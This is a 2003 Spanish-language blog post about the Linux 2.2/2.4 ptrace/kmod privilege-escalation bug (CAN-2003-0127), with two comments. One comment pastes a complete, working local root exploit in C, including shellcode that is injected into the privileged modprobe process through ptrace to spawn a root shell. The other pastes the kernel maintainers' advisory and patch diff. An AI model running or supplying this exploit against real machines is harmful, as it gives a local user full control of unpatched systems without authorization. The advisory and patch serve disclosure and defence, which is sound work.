Ptrace hole

Wednesday, 19 March 2003

Pues parece que se ha colado un pedazo BUG guapo y grave en las ramas 2.4 y 2.2, solo hasta 2.4.20 y 2.2.24.

La verdad es que solo es útil si se dispone de una shell abierta en el sistema, y ya sabemos lo inseguro que es dar shells a diestro y siniestro. Pues esto lo confirma.

Por supuesto el fallo ha sido solucionado en menos de 24h, a ver si aprenden algunos...

Coments

VAR Wednesday, 19 March 2003 21:18

Querubin Malo

<pre>
/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/

#include <rrp.h>
#include <stdio.h&#62
#include <fcntl.h&#62
#include <errno.h&#62
#include <paths.h&#62
#include <string.h&#62
#include <stdlib.h&#62
#include <signal.h&#62
#include <unistd.h&#62
#include <sys/wait.h&#62
#include <sys/stat.h&#62
#include <sys/param.h&#62
#include <sys/types.h&#62
#include <sys/ptrace.h&#62
#include <sys/socket.h&#62
#include <linux/user.h&#62

char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;

memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1;
buf[len] = '\0';

src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
struct user_regs_struct regs;

if (gotchild++ == 0)
return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");

exit(0);
}

void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}

void do_child(void)
{
int err;

child = getpid();
victim = child + 1;

signal(SIGCHLD, sigchld);

do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);

if (err == -1)
fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");

for(;;);
}

void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)
fatal("[-] Unable to stat myself");

alarm(0);
system(progname);
}

void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}

int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);

parent = getpid();
child = fork();
victim = child + 1;

if (child == -1)
fatal("[-] Unable to fork");

if (child == 0)
do_child();
else
do_parent(argv[0]);

return 0;
}

</pre>

VAR Wednesday, 19 March 2003 21:21

Querubin Bueno

<pre>
Vulnerability: CAN-2003-0127

The Linux 2.2 and Linux 2.4 kernels have a flaw in ptrace. This hole allows
local users to obtain full privileges. Remote exploitation of this hole is
not possible. Linux 2.5 is not believed to be vulnerable.

Linux 2.2.25 has been released to correct Linux 2.2. It contains no other
changes. The bug fixes that would have been in 2.2.5pre1 will now appear in
2.2.26pre1. The patch will apply directly to most older 2.2 releases.

A patch for Linux 2.4.20/Linux 2.4.21pre is attached. The patch also
subtly changes the PR_SET_DUMPABLE prctl. We believe this is neccessary and
that it will not affect any software. The functionality change is specific
to unusual debugging situations.

We would like to thank Andrzej Szombierski who found the problem, and
wrote an initial patch. Seth Arnold cleaned up the 2.2 change. Arjan van
de Ven and Ben LaHaise identified additional problems with the original
fix.

Alan

diff -purN linux.orig/arch/alpha/kernel/entry.S linux/arch/alpha/kernel/entry.S
--- linux.orig/arch/alpha/kernel/entry.S Thu Mar 13 12:01:46 2003
+++ linux/arch/alpha/kernel/entry.S Thu Mar 13 13:28:49 2003
@@ -231,12 +231,12 @@ kernel_clone:
.end kernel_clone

/*
- * kernel_thread(fn, arg, clone_flags)
+ * arch_kernel_thread(fn, arg, clone_flags)
*/
.align 3
.globl kernel_thread
.ent kernel_thread
-kernel_thread:
+arch_kernel_thread:
ldgp $29,0($27) /* we can be called from a module */
.frame $30, 4*8, $26
subq $30,4*8,$30
diff -purN linux.orig/arch/arm/kernel/process.c linux/arch/arm/kernel/process.c
--- linux.orig/arch/arm/kernel/process.c Thu Mar 13 12:01:29 2003
+++ linux/arch/arm/kernel/process.c Thu Mar 13 13:25:56 2003
@@ -366,7 +366,7 @@ void dump_thread(struct pt_regs * regs,
* a system call from a "real" process, but the process memory space will
* not be free'd until both the parent and the child have exited.
*/
-pid_t kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
+pid_t arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
{
pid_t __ret;

diff -purN linux.orig/arch/cris/kernel/entry.S linux/arch/cris/kernel/entry.S
--- linux.orig/arch/cris/kernel/entry.S Thu Mar 13 12:01:29 2003
+++ linux/arch/cris/kernel/entry.S Thu Mar 13 13:30:30 2003
@@ -736,12 +736,12 @@ hw_bp_trig_ptr:
* the grosser the code, at least with the gcc version in cris-dist-1.13.
*/

-/* int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags) */
+/* int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags) */
/* r10 r11 r12 */

.text
- .global kernel_thread
-kernel_thread:
+ .global arch_kernel_thread
+arch_kernel_thread:

/* Save ARG for later. */
move.d $r11, $r13
diff -purN linux.orig/arch/i386/kernel/process.c linux/arch/i386/kernel/process.c
--- linux.orig/arch/i386/kernel/process.c Thu Mar 13 12:01:57 2003
+++ linux/arch/i386/kernel/process.c Thu Mar 13 13:26:08 2003
@@ -495,7 +495,7 @@ void release_segments(struct mm_struct *
/*
* Create a kernel thread
*/
-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
long retval, d0;

@@ -518,6 +518,7 @@ int kernel_thread(int (*fn)(void *), voi
"r" (arg), "r" (fn),
"b" (flags | CLONE_VM)
: "memory");
+
return retval;
}

diff -purN linux.orig/arch/ia64/kernel/process.c linux/arch/ia64/kernel/process.c
--- linux.orig/arch/ia64/kernel/process.c Thu Mar 13 12:01:29 2003
+++ linux/arch/ia64/kernel/process.c Thu Mar 13 13:26:15 2003
@@ -220,7 +220,7 @@ ia64_load_extra (struct task_struct *tas
* | | <-- sp (lowest addr)
* +---------------------+
*
- * Note: if we get called through kernel_thread() then the memory
+ * Note: if we get called through arch_kernel_thread() then the memory
* above "(highest addr)" is valid kernel stack memory that needs to
* be copied as well.
*
@@ -469,7 +469,7 @@ ia64_set_personality (struct elf64_hdr *
}

pid_t
-kernel_thread (int (*fn)(void *), void *arg, unsigned long flags)
+arch_kernel_thread (int (*fn)(void *), void *arg, unsigned long flags)
{
struct task_struct *parent = current;
int result, tid;
diff -purN linux.orig/arch/m68k/kernel/process.c linux/arch/m68k/kernel/process.c
--- linux.orig/arch/m68k/kernel/process.c Thu Mar 13 12:01:29 2003
+++ linux/arch/m68k/kernel/process.c Thu Mar 13 13:26:18 2003
@@ -124,7 +124,7 @@ void show_regs(struct pt_regs * regs)
/*
* Create a kernel thread
*/
-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
int pid;
mm_segment_t fs;
diff -purN linux.orig/arch/mips/kernel/process.c linux/arch/mips/kernel/process.c
--- linux.orig/arch/mips/kernel/process.c Thu Mar 13 12:01:29 2003
+++ linux/arch/mips/kernel/process.c Thu Mar 13 13:26:28 2003
@@ -155,7 +155,7 @@ void dump_thread(struct pt_regs *regs, s
/*
* Create a kernel thread
*/
-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
long retval;

diff -purN linux.orig/arch/mips64/kernel/process.c linux/arch/mips64/kernel/process.c
--- linux.orig/arch/mips64/kernel/process.c Thu Mar 13 12:01:29 2003
+++ linux/arch/mips64/kernel/process.c Thu Mar 13 13:26:23 2003
@@ -152,7 +152,7 @@ void dump_thread(struct pt_regs *regs, s
/*
* Create a kernel thread
*/
-int kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
{
int retval;

diff -purN linux.orig/arch/parisc/kernel/process.c linux/arch/parisc/kernel/process.c
--- linux.orig/arch/parisc/kernel/process.c Fri Feb 9 14:29:44 2001
+++ linux/arch/parisc/kernel/process.c Thu Mar 13 13:26:36 2003
@@ -118,7 +118,7 @@ void machine_heartbeat(void)
*/

extern pid_t __kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);
-pid_t kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
+pid_t arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags)
{

/*
diff -purN linux.orig/arch/ppc/kernel/misc.S linux/arch/ppc/kernel/misc.S
--- linux.orig/arch/ppc/kernel/misc.S Thu Mar 13 12:01:29 2003
+++ linux/arch/ppc/kernel/misc.S Thu Mar 13 13:32:21 2003
@@ -899,9 +899,9 @@ _GLOBAL(cvt_df)

/*
* Create a kernel thread
- * kernel_thread(fn, arg, flags)
+ * arch_kernel_thread(fn, arg, flags)
*/
-_GLOBAL(kernel_thread)
+_GLOBAL(arch_kernel_thread)
mr r6,r3 /* function */
ori r3,r5,CLONE_VM /* flags */
li r0,__NR_clone
diff -purN linux.orig/arch/ppc64/kernel/misc.S linux/arch/ppc64/kernel/misc.S
--- linux.orig/arch/ppc64/kernel/misc.S Thu Mar 13 12:01:30 2003
+++ linux/arch/ppc64/kernel/misc.S Thu Mar 13 13:29:42 2003
@@ -493,9 +493,9 @@ _GLOBAL(cvt_df)

/*
* Create a kernel thread
- * kernel_thread(fn, arg, flags)
+ * arch_kernel_thread(fn, arg, flags)
*/
-_GLOBAL(kernel_thread)
+_GLOBAL(arch_kernel_thread)
mr r6,r3 /* function */
ori r3,r5,CLONE_VM /* flags */
li r0,__NR_clone
diff -purN linux.orig/arch/s390/kernel/process.c linux/arch/s390/kernel/process.c
--- linux.orig/arch/s390/kernel/process.c Thu Mar 13 12:01:30 2003
+++ linux/arch/s390/kernel/process.c Thu Mar 13 13:26:43 2003
@@ -105,7 +105,7 @@ void show_regs(struct pt_regs *regs)
show_trace((unsigned long *) regs->gprs[15]);
}

-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
int clone_arg = flags | CLONE_VM;
int retval;
diff -purN linux.orig/arch/s390x/kernel/process.c linux/arch/s390x/kernel/process.c
--- linux.orig/arch/s390x/kernel/process.c Thu Mar 13 12:01:30 2003
+++ linux/arch/s390x/kernel/process.c Thu Mar 13 13:26:46 2003
@@ -102,7 +102,7 @@ void show_regs(struct pt_regs *regs)
show_trace((unsigned long *) regs->gprs[15]);
}

-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
int clone_arg = flags | CLONE_VM;
int retval;
diff -purN linux.orig/arch/sh/kernel/process.c linux/arch/sh/kernel/process.c
--- linux.orig/arch/sh/kernel/process.c Mon Oct 15 16:36:48 2001
+++ linux/arch/sh/kernel/process.c Thu Mar 13 13:26:49 2003
@@ -118,7 +118,7 @@ void free_task_struct(struct task_struct
* This is the mechanism for creating a new kernel thread.
*
*/
-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{ /* Don't use this in BL=1(cli). Or else, CPU resets! */
register unsigned long __sc0 __asm__ ("r0");
register unsigned long __sc3 __asm__ ("r3") = __NR_clone;
diff -purN linux.orig/arch/sparc/kernel/process.c linux/arch/sparc/kernel/process.c
--- linux.orig/arch/sparc/kernel/process.c Thu Mar 13 12:01:30 2003
+++ linux/arch/sparc/kernel/process.c Thu Mar 13 13:26:58 2003
@@ -676,7 +676,7 @@ out:
* a system call from a "real" process, but the process memory space will
* not be free'd until both the parent and the child have exited.
*/
-pid_t kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+pid_t arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
long retval;

diff -purN linux.orig/arch/sparc64/kernel/process.c linux/arch/sparc64/kernel/process.c
--- linux.orig/arch/sparc64/kernel/process.c Thu Mar 13 12:01:30 2003
+++ linux/arch/sparc64/kernel/process.c Thu Mar 13 13:26:54 2003
@@ -658,7 +658,7 @@ int copy_thread(int nr, unsigned long cl
* a system call from a "real" process, but the process memory space will
* not be free'd until both the parent and the child have exited.
*/
-pid_t kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+pid_t arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
long retval;

diff -purN linux.orig/arch/um/kernel/process_kern.c linux/arch/um/kernel/process_kern.c
--- linux.orig/arch/um/kernel/process_kern.c Thu Mar 13 12:01:48 2003
+++ linux/arch/um/kernel/process_kern.c Thu Mar 13 13:27:37 2003
@@ -171,14 +171,14 @@ static int new_thread_proc(void *stack)
os_usr1_process(os_getpid());
}

-int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
int pid;

current->thread.request.u.thread.proc = fn;
current->thread.request.u.thread.arg = arg;
pid = do_fork(CLONE_VM | flags, 0, NULL, 0);
- if(pid < 0) panic("do_fork failed in kernel_thread");
+ if(pid < 0) panic("do_fork failed in arch_kernel_thread");
return(pid);
}

diff -purN linux.orig/fs/exec.c linux/fs/exec.c
--- linux.orig/fs/exec.c Thu Mar 13 12:01:46 2003
+++ linux/fs/exec.c Thu Mar 13 14:19:08 2003
@@ -559,8 +559,10 @@ int flush_old_exec(struct linux_binprm *

current->sas_ss_sp = current->sas_ss_size = 0;

- if (current->euid == current->uid && current->egid == current->gid)
+ if (current->euid == current->uid && current->egid == current->gid) {
current->mm->dumpable = 1;
+ current->task_dumpable = 1;
+ }
name = bprm->filename;
for (i=0; (ch = *(name++)) != '\0';) {
if (ch == '/')
@@ -952,7 +954,7 @@ int do_coredump(long signr, struct pt_re
binfmt = current->binfmt;
if (!binfmt || !binfmt->core_dump)
goto fail;
- if (!current->mm->dumpable)
+ if (!is_dumpable(current))
goto fail;
current->mm->dumpable = 0;
if (current->rlim[RLIMIT_CORE].rlim_cur < binfmt->min_coredump)
diff -purN linux.orig/include/asm-alpha/processor.h linux/include/asm-alpha/processor.h
--- linux.orig/include/asm-alpha/processor.h Fri Oct 5 15:11:05 2001
+++ linux/include/asm-alpha/processor.h Thu Mar 13 13:35:18 2003
@@ -119,7 +119,7 @@ struct task_struct;
extern void release_thread(struct task_struct *);

/* Create a kernel thread without removing it from tasklists. */
-extern long kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);
+extern long arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);

#define copy_segments(tsk, mm) do { } while (0)
#define release_segments(mm) do { } while (0)
diff -purN linux.orig/include/asm-arm/processor.h linux/include/asm-arm/processor.h
--- linux.orig/include/asm-arm/processor.h Thu Mar 13 12:01:35 2003
+++ linux/include/asm-arm/processor.h Thu Mar 13 13:35:18 2003
@@ -117,7 +117,7 @@ extern void __free_task_struct(struct ta
/*
* Create a new kernel thread
*/
-extern int kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);

#endif

diff -purN linux.orig/include/asm-cris/processor.h linux/include/asm-cris/processor.h
--- linux.orig/include/asm-cris/processor.h Thu Mar 13 12:01:35 2003
+++ linux/include/asm-cris/processor.h Thu Mar 13 13:35:18 2003
@@ -81,7 +81,7 @@ struct thread_struct {
#define INIT_THREAD { \
0, 0, 0x20 } /* ccr = int enable, nothing else */

-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* give the thread a program location
* set user-mode (The 'U' flag (User mode flag) is CCR/DCCR bit 8)
diff -purN linux.orig/include/asm-i386/processor.h linux/include/asm-i386/processor.h
--- linux.orig/include/asm-i386/processor.h Thu Mar 13 12:01:57 2003
+++ linux/include/asm-i386/processor.h Thu Mar 13 13:51:02 2003
@@ -433,7 +433,7 @@ extern void release_thread(struct task_s
/*
* create a kernel thread without removing it from tasklists
*/
-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
extern void copy_segments(struct task_struct *p, struct mm_struct * mm);
diff -purN linux.orig/include/asm-ia64/processor.h linux/include/asm-ia64/processor.h
--- linux.orig/include/asm-ia64/processor.h Thu Mar 13 12:01:35 2003
+++ linux/include/asm-ia64/processor.h Thu Mar 13 13:35:18 2003
@@ -476,7 +476,7 @@ struct task_struct;
* do_basic_setup() and the timing is such that free_initmem() has
* been called already.
*/
-extern int kernel_thread (int (*fn)(void *), void *arg, unsigned long flags);
+extern int arch_kernel_thread (int (*fn)(void *), void *arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
#define copy_segments(tsk, mm) do { } while (0)
diff -purN linux.orig/include/asm-m68k/processor.h linux/include/asm-m68k/processor.h
--- linux.orig/include/asm-m68k/processor.h Fri Oct 5 15:11:05 2001
+++ linux/include/asm-m68k/processor.h Thu Mar 13 13:35:18 2003
@@ -105,7 +105,7 @@ static inline void release_thread(struct
{
}

-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

#define copy_segments(tsk, mm) do { } while (0)
#define release_segments(mm) do { } while (0)
diff -purN linux.orig/include/asm-mips/processor.h linux/include/asm-mips/processor.h
--- linux.orig/include/asm-mips/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-mips/processor.h Thu Mar 13 13:35:18 2003
@@ -186,7 +186,7 @@ struct thread_struct {
/* Free all resources held by a thread. */
#define release_thread(thread) do { } while(0)

-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
#define copy_segments(p, mm) do { } while(0)
diff -purN linux.orig/include/asm-mips64/processor.h linux/include/asm-mips64/processor.h
--- linux.orig/include/asm-mips64/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-mips64/processor.h Thu Mar 13 13:35:18 2003
@@ -245,7 +245,7 @@ struct thread_struct {
/* Free all resources held by a thread. */
#define release_thread(thread) do { } while(0)

-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
#define copy_segments(p, mm) do { } while(0)
diff -purN linux.orig/include/asm-parisc/processor.h linux/include/asm-parisc/processor.h
--- linux.orig/include/asm-parisc/processor.h Fri Oct 5 15:11:05 2001
+++ linux/include/asm-parisc/processor.h Thu Mar 13 13:35:18 2003
@@ -305,7 +305,7 @@ struct task_struct;

/* Free all resources held by a thread. */
extern void release_thread(struct task_struct *);
-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

#define copy_segments(tsk, mm) do { } while (0)
#define release_segments(mm) do { } while (0)
diff -purN linux.orig/include/asm-ppc/processor.h linux/include/asm-ppc/processor.h
--- linux.orig/include/asm-ppc/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-ppc/processor.h Thu Mar 13 13:35:18 2003
@@ -593,7 +593,7 @@ void release_thread(struct task_struct *
/*
* Create a new kernel thread.
*/
-extern long kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);
+extern long arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);

/*
* Bus types
diff -purN linux.orig/include/asm-ppc64/processor.h linux/include/asm-ppc64/processor.h
--- linux.orig/include/asm-ppc64/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-ppc64/processor.h Thu Mar 13 13:35:18 2003
@@ -609,7 +609,7 @@ void release_thread(struct task_struct *
/*
* Create a new kernel thread.
*/
-extern long kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);
+extern long arch_kernel_thread(int (*fn)(void *), void *arg, unsigned long flags);

/*
* Bus types
diff -purN linux.orig/include/asm-s390/processor.h linux/include/asm-s390/processor.h
--- linux.orig/include/asm-s390/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-s390/processor.h Thu Mar 13 13:35:18 2003
@@ -113,7 +113,7 @@ struct mm_struct;

/* Free all resources held by a thread. */
extern void release_thread(struct task_struct *);
-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
#define copy_segments(nr, mm) do { } while (0)
diff -purN linux.orig/include/asm-s390x/processor.h linux/include/asm-s390x/processor.h
--- linux.orig/include/asm-s390x/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-s390x/processor.h Thu Mar 13 13:35:18 2003
@@ -127,7 +127,7 @@ struct mm_struct;

/* Free all resources held by a thread. */
extern void release_thread(struct task_struct *);
-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/* Copy and release all segment info associated with a VM */
#define copy_segments(nr, mm) do { } while (0)
diff -purN linux.orig/include/asm-sh/processor.h linux/include/asm-sh/processor.h
--- linux.orig/include/asm-sh/processor.h Fri Oct 5 15:11:05 2001
+++ linux/include/asm-sh/processor.h Thu Mar 13 13:35:18 2003
@@ -137,7 +137,7 @@ extern void release_thread(struct task_s
/*
* create a kernel thread without removing it from tasklists
*/
-extern int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern int arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

/*
* Bus types
diff -purN linux.orig/include/asm-sparc/processor.h linux/include/asm-sparc/processor.h
--- linux.orig/include/asm-sparc/processor.h Thu Oct 11 02:42:47 2001
+++ linux/include/asm-sparc/processor.h Thu Mar 13 13:35:18 2003
@@ -146,7 +146,7 @@ extern __inline__ void start_thread(stru

/* Free all resources held by a thread. */
#define release_thread(tsk) do { } while(0)
-extern pid_t kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern pid_t arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

#define copy_segments(tsk, mm) do { } while (0)
diff -purN linux.orig/include/asm-sparc64/processor.h linux/include/asm-sparc64/processor.h
--- linux.orig/include/asm-sparc64/processor.h Thu Mar 13 12:01:36 2003
+++ linux/include/asm-sparc64/processor.h Thu Mar 13 13:35:18 2003
@@ -270,7 +270,7 @@ do { \
/* Free all resources held by a thread. */
#define release_thread(tsk) do { } while(0)

-extern pid_t kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+extern pid_t arch_kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);

#define copy_segments(tsk, mm) do { } while (0)
#define release_segments(mm) do { } while (0)
diff -purN linux.orig/include/linux/sched.h linux/include/linux/sched.h
--- linux.orig/include/linux/sched.h Thu Mar 13 12:01:57 2003
+++ linux/include/linux/sched.h Thu Mar 13 13:54:05 2003
@@ -362,6 +362,7 @@ struct task_struct {
/* ??? */
unsigned long personality;
int did_exec:1;
+ unsigned task_dumpable:1;
pid_t pid;
pid_t pgrp;
pid_t tty_old_pgrp;
@@ -485,6 +486,8 @@ struct task_struct {
#define PT_TRACESYSGOOD 0x00000008
#define PT_PTRACE_CAP 0x00000010 /* ptracer can follow suid-exec */

+#define is_dumpable(tsk) ((tsk)->task_dumpable && (tsk)->mm->dumpable)
+
/*
* Limit the stack by to some sane default: root can always
* increase this limit if needed.. 8MB seems reasonable.
@@ -848,6 +851,8 @@ extern void FASTCALL(remove_wait_queue(w

extern void wait_task_inactive(task_t * p);
extern void kick_if_running(task_t * p);
+extern long kernel_thread(int (*fn)(void *), void * arg, unsigned long flags);
+

#define __wait_event(wq, condition) \
do { \
diff -purN linux.orig/kernel/fork.c linux/kernel/fork.c
--- linux.orig/kernel/fork.c Thu Mar 13 12:01:57 2003
+++ linux/kernel/fork.c Thu Mar 13 13:51:24 2003
@@ -28,6 +28,7 @@
#include <asm/pgalloc.h>
#include <asm/uaccess.h>
#include <asm/mmu_context.h>
+#include <asm/processor.h>

/* The idle threads do not count.. */
int nr_threads;
@@ -575,6 +576,31 @@ static inline void copy_flags(unsigned l
p->flags = new_flags;
}

+long kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
+{
+ struct task_struct *task = current;
+ unsigned old_task_dumpable;
+ long ret;
+
+ /* lock out any potential ptracer */
+ task_lock(task);
+ if (task->ptrace) {
+ task_unlock(task);
+ return -EPERM;
+ }
+
+ old_task_dumpable = task->task_dumpable;
+ task->task_dumpable = 0;
+ task_unlock(task);
+
+ ret = arch_kernel_thread(fn, arg, flags);
+
+ /* never reached in child process, only in parent */
+ current->task_dumpable = old_task_dumpable;
+
+ return ret;
+}
+
/*
* Ok, this is the main fork-routine. It copies the system process
* information (task[nr]) and sets up the necessary registers. It also
diff -purN linux.orig/kernel/ptrace.c linux/kernel/ptrace.c
--- linux.orig/kernel/ptrace.c Thu Mar 13 12:01:46 2003
+++ linux/kernel/ptrace.c Thu Mar 13 13:47:16 2003
@@ -21,6 +21,10 @@
*/
int ptrace_check_attach(struct task_struct *child, int kill)
{
+ mb();
+ if (!is_dumpable(child))
+ return -EPERM;
+
if (!(child->ptrace & PT_PTRACED))
return -ESRCH;

@@ -57,7 +61,7 @@ int ptrace_attach(struct task_struct *ta
(current->gid != task->gid)) && !capable(CAP_SYS_PTRACE))
goto bad;
rmb();
- if (!task->mm->dumpable && !capable(CAP_SYS_PTRACE))
+ if (!is_dumpable(task) && !capable(CAP_SYS_PTRACE))
goto bad;
/* the same process cannot be attached many times */
if (task->ptrace & PT_PTRACED)
@@ -123,6 +127,8 @@ int access_process_vm(struct task_struct
/* Worry about races with exit() */
task_lock(tsk);
mm = tsk->mm;
+ if (!is_dumpable(tsk) || (&init_mm == mm))
+ mm = NULL;
if (mm)
atomic_inc(&mm->mm_users);
task_unlock(tsk);
diff -purN linux.orig/kernel/sys.c linux/kernel/sys.c
--- linux.orig/kernel/sys.c Thu Mar 13 12:01:57 2003
+++ linux/kernel/sys.c Thu Mar 13 13:41:25 2003
@@ -1286,7 +1286,7 @@ asmlinkage long sys_prctl(int option, un
error = put_user(current->pdeath_signal, (int *)arg2);
break;
case PR_GET_DUMPABLE:
- if (current->mm->dumpable)
+ if (is_dumpable(current))
error = 1;
break;
case PR_SET_DUMPABLE:
@@ -1294,7 +1294,8 @@ asmlinkage long sys_prctl(int option, un
error = -EINVAL;
break;
}
- current->mm->dumpable = arg2;
+ if (is_dumpable(current))
+ current->mm->dumpable = arg2;
break;
case PR_SET_UNALIGN:
#ifdef SET_UNALIGN_CTL
</pre>

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Anonymous Saturday, 25 January 13:39

Init Session

Ptrace hole

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